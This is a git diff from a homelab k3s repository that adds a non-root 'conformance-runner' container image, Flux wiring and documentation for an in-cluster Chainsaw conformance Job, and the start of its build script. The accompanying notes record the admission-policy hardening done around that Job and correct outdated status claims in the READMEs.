|
|||||||
# clusters/
|
# clusters/
|
||||||
|
|
||||||
|
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
||||||
|
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
||||||
|
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
||||||
|
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
||||||
|
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
||||||
|
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
||||||
|
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
||||||
|
> coverage hole, not a phase.
|
||||||
|
>
|
||||||
|
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
||||||
|
> documentation rather than measurement, and `main` was unprotected with zero runners
|
||||||
|
> registered the whole time. **Query the live API before asserting platform state.**
|
||||||
|
|
||||||
|
|
||||||
Flux entrypoints and the environment-overlay model (**R-ENV-02**, **R-GITOPS-01/02/03**).
|
Flux entrypoints and the environment-overlay model (**R-ENV-02**, **R-GITOPS-01/02/03**).
|
||||||
|
|
||||||
Governing spec: [`docs/05-gitops-and-delivery.md`](../../home-network-k3s/docs/05-gitops-and-delivery.md),
|
Governing spec: [`docs/05-gitops-and-delivery.md`](../../home-network-k3s/docs/05-gitops-and-delivery.md),
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
---
|
||||||
|
# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
|
||||||
|
#
|
||||||
|
# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
|
||||||
|
# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
|
||||||
|
# meant to verify is worse than no harness.
|
||||||
|
#
|
||||||
|
# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
|
||||||
|
# waves needs it.
|
||||||
|
#
|
||||||
|
# NOTE: this reconciles RBAC that is INERT until
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
|
||||||
|
# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
|
||||||
|
# trigger identity can exist while the policy bounding it does not.
|
||||||
|
apiVersion: kustomize.toolkit.fluxcd.io/v1
|
||||||
|
kind: Kustomization
|
||||||
|
metadata:
|
||||||
|
name: conformance
|
||||||
|
namespace: flux-system
|
||||||
|
spec:
|
||||||
|
interval: 10m
|
||||||
|
retryInterval: 2m
|
||||||
|
timeout: 5m
|
||||||
|
prune: true
|
||||||
|
wait: false
|
||||||
|
dependsOn:
|
||||||
|
- name: platform-config
|
||||||
|
sourceRef:
|
||||||
|
kind: GitRepository
|
||||||
|
name: flux-system
|
||||||
|
path: ./conformance/incluster
|
||||||
@@ -33,6 +33,7 @@ resources:
|
|||||||
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
|
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
|
||||||
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
|
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
|
||||||
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
|
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
|
||||||
|
- conformance.yaml # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
|
||||||
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
|
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
|
||||||
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
|
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
|
||||||
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
|
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
|
||||||
|
|||||||
@@ -1,5 +1,19 @@
|
|||||||
# conformance/ — the home-k3s conformance harness (WS-TEST)
|
# conformance/ — the home-k3s conformance harness (WS-TEST)
|
||||||
|
|
||||||
|
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
||||||
|
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
||||||
|
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
||||||
|
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
||||||
|
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
||||||
|
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
||||||
|
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
||||||
|
> coverage hole, not a phase.
|
||||||
|
>
|
||||||
|
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
||||||
|
> documentation rather than measurement, and `main` was unprotected with zero runners
|
||||||
|
> registered the whole time. **Query the live API before asserting platform state.**
|
||||||
|
|
||||||
|
|
||||||
This subtree is the **definition of "done"** for the whole platform. Nothing is accepted
|
This subtree is the **definition of "done"** for the whole platform. Nothing is accepted
|
||||||
on a demo, a screenshot, or "it reconciled": every requirement is proven by an
|
on a demo, a screenshot, or "it reconciled": every requirement is proven by an
|
||||||
**automated, reproducible, behavior-based test** tagged with the requirement ID(s) it
|
**automated, reproducible, behavior-based test** tagged with the requirement ID(s) it
|
||||||
|
|||||||
@@ -0,0 +1,200 @@
|
|||||||
|
# =============================================================================
|
||||||
|
# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
|
||||||
|
# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
|
||||||
|
#
|
||||||
|
# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
|
||||||
|
# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
|
||||||
|
# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
|
||||||
|
# would have failed at exec of `./run.sh`. This image carries exactly what
|
||||||
|
# `conformance/run.sh` needs:
|
||||||
|
#
|
||||||
|
# bash run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
|
||||||
|
# python3 lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
|
||||||
|
# (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
|
||||||
|
# chainsaw the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
|
||||||
|
# kubectl conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
|
||||||
|
# git the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
|
||||||
|
# run.sh's `rev-parse --short HEAD` for the run id
|
||||||
|
# tar/gzip/coreutils the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
|
||||||
|
#
|
||||||
|
# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
|
||||||
|
# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
|
||||||
|
# hole, not for convenience: see the COPY below and the script's own header.
|
||||||
|
#
|
||||||
|
# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
|
||||||
|
# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
|
||||||
|
# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
|
||||||
|
# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
|
||||||
|
# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
|
||||||
|
#
|
||||||
|
# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
|
||||||
|
# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
|
||||||
|
# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
|
||||||
|
# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
|
||||||
|
# baking the whole devcontainer toolchain into the runner would roughly double its size to
|
||||||
|
# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
|
||||||
|
# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
|
||||||
|
# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
|
||||||
|
# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
|
||||||
|
# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
|
||||||
|
# args is T-6.1b's call, not this image's.
|
||||||
|
#
|
||||||
|
# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
|
||||||
|
# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
|
||||||
|
# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
|
||||||
|
# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
|
||||||
|
# consequences are baked in here:
|
||||||
|
#
|
||||||
|
# 1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
|
||||||
|
# REJECTS an image whose USER is a name it cannot resolve to a uid
|
||||||
|
# ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
|
||||||
|
# 2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
|
||||||
|
# and `results` volumes — there is no writable /tmp and one cannot be added without
|
||||||
|
# changing the boundary. So HOME and every cache path point INTO /workspace (the
|
||||||
|
# emptyDir), not at the read-only root. That is why HOME=/workspace below.
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
# --- builder: fetch the pinned release binaries ------------------------------
|
||||||
|
# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
|
||||||
|
# image, so the runner does not carry a downloader it has no business having at runtime.
|
||||||
|
ARG FEDORA_VERSION=44
|
||||||
|
FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
|
||||||
|
|
||||||
|
ARG CHAINSAW_VERSION=
|
||||||
|
ARG KUBECTL_VERSION=
|
||||||
|
ARG TARGETARCH=amd64
|
||||||
|
|
||||||
|
# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
|
||||||
|
RUN set -eux; \
|
||||||
|
: "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
|
||||||
|
: "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
|
||||||
|
|
||||||
|
# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
|
||||||
|
# and kubectl in this image are the same builds the toolbox gate runs with.
|
||||||
|
#
|
||||||
|
# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
|
||||||
|
# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
|
||||||
|
# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
|
||||||
|
# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
|
||||||
|
# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
|
||||||
|
# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
|
||||||
|
# --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
|
||||||
|
# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
|
||||||
|
# that belongs in its own reviewed change, not as a silent addition to a runner image.
|
||||||
|
# infra/devcontainer/Containerfile has the same gap for the same binary.
|
||||||
|
RUN set -eux; \
|
||||||
|
mkdir -p /out; \
|
||||||
|
curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
|
||||||
|
-o /out/kubectl; \
|
||||||
|
curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
|
||||||
|
-o /tmp/kubectl.sha256; \
|
||||||
|
echo "$(cat /tmp/kubectl.sha256) /out/kubectl" | sha256sum -c -; \
|
||||||
|
curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
|
||||||
|
| tar -xz -C /out chainsaw; \
|
||||||
|
chmod 0755 /out/kubectl /out/chainsaw; \
|
||||||
|
/out/kubectl version --client=true --output=yaml >/dev/null; \
|
||||||
|
/out/chainsaw version >/dev/null
|
||||||
|
|
||||||
|
# --- runtime -----------------------------------------------------------------
|
||||||
|
ARG FEDORA_VERSION=44
|
||||||
|
FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
|
||||||
|
|
||||||
|
ARG CHAINSAW_VERSION=
|
||||||
|
ARG KUBECTL_VERSION=
|
||||||
|
ARG FEDORA_VERSION=44
|
||||||
|
# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
|
||||||
|
# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
|
||||||
|
ARG RUNNER_UID=65532
|
||||||
|
ARG RUNNER_GID=65532
|
||||||
|
|
||||||
|
LABEL org.opencontainers.image.title="conformance-runner" \
|
||||||
|
org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
|
||||||
|
org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
|
||||||
|
org.opencontainers.image.documentation="conformance/incluster/README.md" \
|
||||||
|
homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
|
||||||
|
|
||||||
|
# bash: run.sh + every check.sh. python3: the stdlib report generators.
|
||||||
|
# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
|
||||||
|
# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
|
||||||
|
# tar+gzip: the base64-tar results channel. diffutils: `diff` in the L1 golden compare.
|
||||||
|
# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
|
||||||
|
RUN set -eux; \
|
||||||
|
microdnf -y install --setopt=install_weak_deps=0 --nodocs \
|
||||||
|
bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
|
||||||
|
ca-certificates; \
|
||||||
|
microdnf clean all; \
|
||||||
|
rm -rf /var/cache/* /var/log/dnf*
|
||||||
|
|
||||||
|
COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
|
||||||
|
|
||||||
|
# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
|
||||||
|
# surface, because the admission policy pins the main container's `command` but never reads
|
||||||
|
# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
|
||||||
|
# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
|
||||||
|
# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
|
||||||
|
# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
|
||||||
|
# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
|
||||||
|
# boundary, not here. See the script's header for the env-injection half of the same hole.
|
||||||
|
#
|
||||||
|
# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
|
||||||
|
# executable the policy will trust. Ownership is asserted below rather than assumed.
|
||||||
|
COPY conformance-clone /usr/local/bin/conformance-clone
|
||||||
|
RUN set -eux; \
|
||||||
|
chown root:root /usr/local/bin/conformance-clone; \
|
||||||
|
chmod 0755 /usr/local/bin/conformance-clone; \
|
||||||
|
bash -n /usr/local/bin/conformance-clone; \
|
||||||
|
/usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
|
||||||
|
test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
|
||||||
|
|
||||||
|
# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
|
||||||
|
# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
|
||||||
|
RUN set -eux; \
|
||||||
|
echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
|
||||||
|
echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
|
||||||
|
install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
|
||||||
|
|
||||||
|
# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
|
||||||
|
# root filesystem is read-only — a runtime `--global` write would fail.
|
||||||
|
# safe.directory=*: the init-container clones into the shared emptyDir and the main container
|
||||||
|
# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
|
||||||
|
# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
|
||||||
|
# is no pre-existing hostile checkout this relaxes a check against.
|
||||||
|
RUN set -eux; \
|
||||||
|
printf '%s\n' \
|
||||||
|
'[safe]' \
|
||||||
|
' directory = *' \
|
||||||
|
'[advice]' \
|
||||||
|
' detachedHead = false' \
|
||||||
|
> /etc/gitconfig; \
|
||||||
|
chmod 0644 /etc/gitconfig
|
||||||
|
|
||||||
|
# Provenance: what is actually in this layer, readable from a running pod.
|
||||||
|
RUN set -eux; \
|
||||||
|
{ echo "fedora=${FEDORA_VERSION}"; \
|
||||||
|
echo "chainsaw=${CHAINSAW_VERSION}"; \
|
||||||
|
echo "kubectl=${KUBECTL_VERSION}"; \
|
||||||
|
echo "bash=$(bash --version | head -1)"; \
|
||||||
|
echo "python3=$(python3 --version)"; \
|
||||||
|
echo "git=$(git --version)"; \
|
||||||
|
echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
|
||||||
|
} > /etc/conformance-runner-versions; \
|
||||||
|
chmod 0444 /etc/conformance-runner-versions
|
||||||
|
|
||||||
|
# Every writable path points into the `workspace` emptyDir — the root filesystem is
|
||||||
|
# read-only and the admission policy forbids adding a third volume for scratch.
|
||||||
|
ENV HOME=/workspace \
|
||||||
|
XDG_CACHE_HOME=/workspace/.cache \
|
||||||
|
XDG_CONFIG_HOME=/workspace/.config \
|
||||||
|
TMPDIR=/workspace/.tmp \
|
||||||
|
PYTHONDONTWRITEBYTECODE=1 \
|
||||||
|
CONF_ROOT=/workspace/conformance
|
||||||
|
|
||||||
|
USER ${RUNNER_UID}:${RUNNER_GID}
|
||||||
|
WORKDIR /workspace
|
||||||
|
|
||||||
|
# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
|
||||||
|
# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
|
||||||
|
# prepend something the policy cannot see. `bash` is the interactive fallback for a human
|
||||||
|
# debugging the image locally.
|
||||||
|
CMD ["/bin/bash"]
|
||||||
@@ -1,5 +1,19 @@
|
|||||||
# In-cluster conformance Job (L2/L3)
|
# In-cluster conformance Job (L2/L3)
|
||||||
|
|
||||||
|
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
||||||
|
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
||||||
|
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
||||||
|
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
||||||
|
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
||||||
|
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
||||||
|
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
||||||
|
> coverage hole, not a phase.
|
||||||
|
>
|
||||||
|
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
||||||
|
> documentation rather than measurement, and `main` was unprotected with zero runners
|
||||||
|
> registered the whole time. **Query the live API before asserting platform state.**
|
||||||
|
|
||||||
|
|
||||||
Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
|
Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
|
||||||
cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
|
cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
|
||||||
on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster
|
on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster
|
||||||
@@ -11,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
|||||||
commented with the test/requirement that needs it — only as the matching fault-injection
|
commented with the test/requirement that needs it — only as the matching fault-injection
|
||||||
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
||||||
audit item.
|
audit item.
|
||||||
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
|
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
|
||||||
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
|
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
|
||||||
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
|
commit under test; artifacts leave over stdout. Its header is the authority on the
|
||||||
|
substitution tokens and the admission constraints it satisfies, and records the
|
||||||
|
`initContainers` hole that was found and closed alongside it — read it before editing
|
||||||
|
either file.
|
||||||
|
- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
|
||||||
|
`kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
|
||||||
|
filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
|
||||||
|
it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
|
||||||
|
source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
|
||||||
|
uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
|
||||||
|
L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
|
||||||
|
kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
|
||||||
|
- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
|
||||||
|
`/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
|
||||||
|
It is a file in the image rather than an inline script in the Job precisely so admission
|
||||||
|
can pin it: a policy cannot tell the committed script from an attacker's when both are
|
||||||
|
just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
|
||||||
|
match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
|
||||||
|
unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
|
||||||
|
takes **no arguments**, and the repository URL and clone target are **compiled in** —
|
||||||
|
`CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
|
||||||
|
honoured, because a URL taken from env would let the trigger choose which repository's
|
||||||
|
code runs as `conformance-runner`. This branch's Job depends on that interface:
|
||||||
|
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
|
||||||
|
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
|
||||||
|
> **The other half landed with this branch.** When `conformance-clone` arrived, the
|
||||||
|
> admission policy pinned the main container's `command` but **never read
|
||||||
|
> `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
|
||||||
|
> script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
|
||||||
|
> merely *available* rather than *required*. The rule that closes it is
|
||||||
|
> `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
|
||||||
|
> digest-pinned to the conformance-runner image, `command` exactly
|
||||||
|
> `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
|
||||||
|
> `env`/`envFrom` were the same shape of hole and are closed in the same policy.
|
||||||
|
- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
|
||||||
|
image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
|
||||||
|
prints the exact `podman push --digestfile …` command for the operator instead. See
|
||||||
|
`conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
|
||||||
|
`--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
|
||||||
|
and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
|
||||||
|
default verify stays offline so an air-gapped build is fully checked, not half-checked).
|
||||||
|
|
||||||
## Flow
|
## Flow
|
||||||
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
|
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
|
||||||
trigger with narrow rights: create Job + read its logs/status — *not* a broad
|
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
|
||||||
kubeconfig).
|
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
|
||||||
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
|
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
|
||||||
`./run.sh` under `conformance-runner`.
|
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
|
||||||
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
|
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
|
||||||
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
|
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
|
||||||
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
|
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
|
||||||
their paths) and enforces the merge / phase-exit gate on them.
|
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
|
||||||
|
the suite runs at the commit under test or not at all. The read-only Gitea credential
|
||||||
|
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
|
||||||
|
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
|
||||||
|
`results`.
|
||||||
|
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
|
||||||
|
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
|
||||||
|
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
|
||||||
|
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
|
||||||
|
decodes it from `kubectl logs` and must make all five completeness checks listed above
|
||||||
|
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
|
||||||
|
of decoding to plausible garbage.
|
||||||
|
|
||||||
|
## Prerequisites before this Job can run at all
|
||||||
|
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
|
||||||
|
`token`: a **read-only** Gitea token for this repository. Never a write token or a
|
||||||
|
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
|
||||||
|
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
|
||||||
|
before this template is usable; its digest is what the trigger substitutes. Contract the
|
||||||
|
image MUST meet, because the Job and the admission policy both depend on it:
|
||||||
|
- bash, git, python3, chainsaw and kubectl on `PATH`;
|
||||||
|
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
|
||||||
|
uid in the Containerfile means the Job will not start;
|
||||||
|
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
|
||||||
|
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
|
||||||
|
that exact path, so an image without it cannot run the clone step and no other path will
|
||||||
|
be admitted.
|
||||||
|
|
||||||
## Phase 0
|
## Phase 0
|
||||||
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
||||||
|
|||||||
Executable
+229
@@ -0,0 +1,229 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
###############################################################################
|
||||||
|
# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
|
||||||
|
# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
|
||||||
|
#
|
||||||
|
# ./build-image.sh # build + verify + print the digest and push command
|
||||||
|
# ./build-image.sh --no-verify # build only (skip the in-image tool proof)
|
||||||
|
# ./build-image.sh --verify-clone # ALSO really clone this repo with conformance-clone.
|
||||||
|
# # Opt-in because it needs the Gitea host reachable; the
|
||||||
|
# # default verify is offline so an air-gapped build is
|
||||||
|
# # still fully checked rather than half-checked.
|
||||||
|
# ENGINE=docker ./build-image.sh # build with docker instead of podman
|
||||||
|
#
|
||||||
|
# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
|
||||||
|
# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
|
||||||
|
# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
|
||||||
|
# non-root uid the policy demands, and prints the exact `podman push` line for a human.
|
||||||
|
#
|
||||||
|
# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
|
||||||
|
# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
|
||||||
|
# pins the toolbox gate runs with. Nothing in this file invents a version.
|
||||||
|
#
|
||||||
|
# THE DIGEST CAVEAT — read it before pasting a digest into anything.
|
||||||
|
# The digest printed here is the LOCAL manifest digest. It is normally identical to the
|
||||||
|
# registry digest (podman pushes the manifest it already has rather than recompressing),
|
||||||
|
# but that is a property of the push, not a guarantee. So the push command below uses
|
||||||
|
# `--digestfile`: the digest the registry actually returns is the authoritative one, and
|
||||||
|
# that is the one that goes into conformance/versions.env.
|
||||||
|
###############################################################################
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
